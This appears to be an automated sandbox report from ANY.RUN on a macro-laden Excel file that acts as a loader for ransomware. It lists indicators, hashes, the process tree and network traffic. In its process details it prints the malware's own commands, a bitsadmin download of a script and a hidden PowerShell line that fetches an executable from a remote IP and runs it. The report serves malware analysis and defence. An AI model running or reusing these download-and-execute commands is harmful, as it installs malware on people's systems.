analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

test.xlsm

Full analysis: https://app.any.run/tasks/568f68ba-2817-4e3b-b781-187bf75a4d02
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: December 14, 2018, 13:42:10
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
loader
ransomware
Indicators:
MIME: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info: Microsoft Excel 2007+
MD5:

8701BF3F3ECD42F80A54CC611C6567AA

SHA1:

F3AB8A9782B30446C817A6EE9C36ED7C5E4FAC57

SHA256:

00FF39F9E6ED2CCB6B6694A61D3E85A80B7AA4CA07CD6B9BF71537C06662F371

SSDEEP:

768:TKaPdlcZtH9nz2m2LaXGJgsb19nQFX4aqnRB38jgyo:TpPdeZfnz2m2GXUgw9nQFX2R8jgV

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses BITADMIN.EXE for downloading application

      • EXCEL.EXE (PID: 3464)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3464)

    • Changes settings of System certificates

      • WScript.exe (PID: 3636)

    • Executes scripts

      • EXCEL.EXE (PID: 3464)

    • Executes PowerShell scripts

      • cmd.exe (PID: 3248)

    • Application was dropped or rewritten from another process

      • TempXfA39.exe (PID: 2344)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2808)

    • Downloads executable files from IP

      • powershell.exe (PID: 2808)

    • Changes the autorun value in the registry

      • TempXfA39.exe (PID: 2344)

    • Dropped file may contain instructions of ransomware

      • TempXfA39.exe (PID: 2344)

    • Renames files like Ransomware

      • TempXfA39.exe (PID: 2344)

    • Actions looks like stealing of personal data

      • TempXfA39.exe (PID: 2344)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 3636)
      • TempXfA39.exe (PID: 2344)

    • Starts Internet Explorer

      • explorer.exe (PID: 3684)

    • Creates files in the user directory

      • powershell.exe (PID: 2808)
      • explorer.exe (PID: 3728)
      • TempXfA39.exe (PID: 2344)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2808)

    • Creates files like Ransomware instruction

      • TempXfA39.exe (PID: 2344)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • TempXfA39.exe (PID: 2344)

    • Reads the cookies of Mozilla Firefox

      • TempXfA39.exe (PID: 2344)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3464)

    • Changes internet zones settings

      • iexplore.exe (PID: 3972)

    • Application launched itself

      • iexplore.exe (PID: 3972)

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 2524)

    • Reads internet explorer settings

      • iexplore.exe (PID: 2524)

    • Adds / modifies Windows certificates

      • iexplore.exe (PID: 3972)

    • Changes settings of System certificates

      • iexplore.exe (PID: 3972)

    • Reads settings of System Certificates

      • iexplore.exe (PID: 3972)

    • Creates files in the user directory

      • iexplore.exe (PID: 3972)
      • iexplore.exe (PID: 2524)

    • Dropped object may contain TOR URL's

      • TempXfA39.exe (PID: 2344)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xlam | Excel Macro-enabled Open XML add-in (42.4)
.xlsm | Excel Microsoft Office Open XML Format document (with Macro) (29.2)
.xlsx | Excel Microsoft Office Open XML Format document (17.3)
.zip | Open Packaging Conventions container (8.9)
.zip | ZIP compressed archive (2)

EXIF

XML

AppVersion: 15.03
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
Company: -
TitlesOfParts: Sheet1
HeadingPairs:
  • Hojas de cálculo
  • 1
ScaleCrop: No
DocSecurity: None
Application: Microsoft Excel
ModifyDate: 2018:12:14 13:43:58Z
CreateDate: 2006:09:16 00:00:00Z
LastModifiedBy: -

XMP

Creator: -

ZIP

ZipFileName: [Content_Types].xml
ZipUncompressedSize: 1393
ZipCompressedSize: 413
ZipCRC: 0xe69d70d7
ZipModifyDate: 1980:01:01 00:00:00
ZipCompression: Deflated
ZipBitFlag: 0x0006
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
46
Monitored processes
11
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start excel.exe no specs bitsadmin.exe no specs wscript.exe explorer.exe no specs explorer.exe no specs iexplore.exe cmd.exe no specs powershell.exe iexplore.exe tempxfa39.exe cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3464"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
3936"C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal https://uc92c30fb6db8e635e336beac7f8.dl.dropboxusercontent.com/cd/0/get/AXf2UUL398cXaNPYAMrms-k2EuttrwdESU7gebfCX3d6p6OZYRsDgrTR65sxfXOhhIgndC6B--cXz-VuDdaGBNbbZRYKONIrdl2NHKd4yN3Y64F6RZ6Hlmn4xvryJBtUFaR0Tdx0pbWOlz0H_H3U6wushF4sLAeslFqjR4nugt_PeyLNrkKXmjvZVMU1y6EK4Pg/file?_download_id=14056515048951290882209405246146807353511132718637797026014201873&_notify_domain=www.dropbox.com&dl=1.js C:\Users\admin\AppData\Local\Temp\\pepe.jsC:\Windows\System32\bitsadmin.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
3636"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\pepe.js" C:\Windows\System32\WScript.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
3728explorer.exe https://goo.gl/TXT8FjC:\Windows\explorer.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3684C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -EmbeddingC:\Windows\explorer.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3972"C:\Program Files\Internet Explorer\iexplore.exe" -nohomeC:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3248"C:\Windows\System32\cmd.exe" /c powershell.exe -w hidden -noprofile -executionpolicy bypass $OE = New-Object System.Net.WebClient; $OE.Headers['User-Agent'] = 'jBrowser'; $OE.downloadfile('http://185.219.81.28/forum.php','%teMp%XfA39.exe'); & starT %Temp%XfA39.ExeC:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2808powershell.exe -w hidden -noprofile -executionpolicy bypass $OE = New-Object System.Net.WebClient; $OE.Headers['User-Agent'] = 'jBrowser'; $OE.downloadfile('http://185.219.81.28/forum.php','C:\Users\admin\AppData\Local\TempXfA39.exe'); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2524"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3972 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2344C:\Users\admin\AppData\Local\TempXfA39.Exe C:\Users\admin\AppData\Local\TempXfA39.exe
cmd.exe
User:
admin
Company:
Luxoft
Integrity Level:
MEDIUM
Description:
Connect Julian Assembler Setcookie
Exit code:
0
Version:
3.3.9.1
Total events
1 492
Read events
1 318
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
773
Text files
25
Unknown types
26

Dropped files

PID
Process
Filename
Type
3464EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRA5C9.tmp.cvr —
MD5:—
SHA256:—
2808powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LS910EF14E5BB8WEOIK4.temp —
MD5:—
SHA256:—
3972iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico —
MD5:—
SHA256:—
3972iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico —
MD5:—
SHA256:—
2524iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@youtube[2].txt —
MD5:—
SHA256:—
2524iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\watch[1].txt —
MD5:—
SHA256:—
2524iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\BWPPCY0O\spf[1].js —
MD5:—
SHA256:—
2524iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\BWPPCY0O\base[1].js —
MD5:—
SHA256:—
2524iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\www-pagead-id[1].jstext
MD5:7207A8BFC6C202FE485CB9445FCABA32
SHA256:74B67B959B12A8278237FA950CBDD1F7170BCCC4E09F52F14BA909884F5EB3CA
2808powershell.exeC:\Users\admin\AppData\Local\TempXfA39.exeexecutable
MD5:4A639B1F479520A3D15622824DE2C8CB
SHA256:3790DC3B1DA9FB1E44DFD17CFB3E6646EEBB0E81709DFA1B12091C4561242074
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
21
DNS requests
10
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2808
powershell.exe
GET
200
185.219.81.28:80
http://185.219.81.28/forum.php
NL
executable
332 Kb
suspicious
3636
WScript.exe
GET
200
91.199.212.52:80
http://crt.comodoca.com/COMODORSAAddTrustCA.crt
GB
der
1.37 Kb
whitelisted
3972
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3636
WScript.exe
91.199.212.52:80
crt.comodoca.com
Comodo CA Ltd
GB
suspicious
—
—
162.125.66.6:443
uc92c30fb6db8e635e336beac7f8.dl.dropboxusercontent.com
Dropbox, Inc.
DE
shared
2524
iexplore.exe
172.217.168.14:443
www.youtube.com
Google Inc.
US
whitelisted
2524
iexplore.exe
173.194.160.71:443
r2---sn-1gi7znes.googlevideo.com
Google Inc.
US
whitelisted
2524
iexplore.exe
172.217.168.3:443
fonts.gstatic.com
Google Inc.
US
whitelisted
3972
iexplore.exe
172.217.168.14:443
www.youtube.com
Google Inc.
US
whitelisted
3972
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
2808
powershell.exe
185.219.81.28:80
—
NovoServe B.V.
NL
suspicious
2524
iexplore.exe
172.217.168.46:443
goo.gl
Google Inc.
US
whitelisted
2524
iexplore.exe
172.217.168.54:443
i.ytimg.com
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
uc92c30fb6db8e635e336beac7f8.dl.dropboxusercontent.com
  • 162.125.66.6
malicious
crt.comodoca.com
  • 91.199.212.52
whitelisted
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
goo.gl
  • 172.217.168.46
shared
www.youtube.com
  • 172.217.168.14
  • 172.217.168.46
  • 216.58.215.238
whitelisted
s.ytimg.com
  • 172.217.168.14
whitelisted
fonts.gstatic.com
  • 172.217.168.3
whitelisted
r2---sn-1gi7znes.googlevideo.com
  • 173.194.160.71
whitelisted
accounts.google.com
  • 216.58.215.237
shared
i.ytimg.com
  • 172.217.168.54
  • 216.58.215.246
  • 172.217.168.22
whitelisted

Threats

PID
Process
Class
Message
2808
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2808
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
2808
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
test.xlsm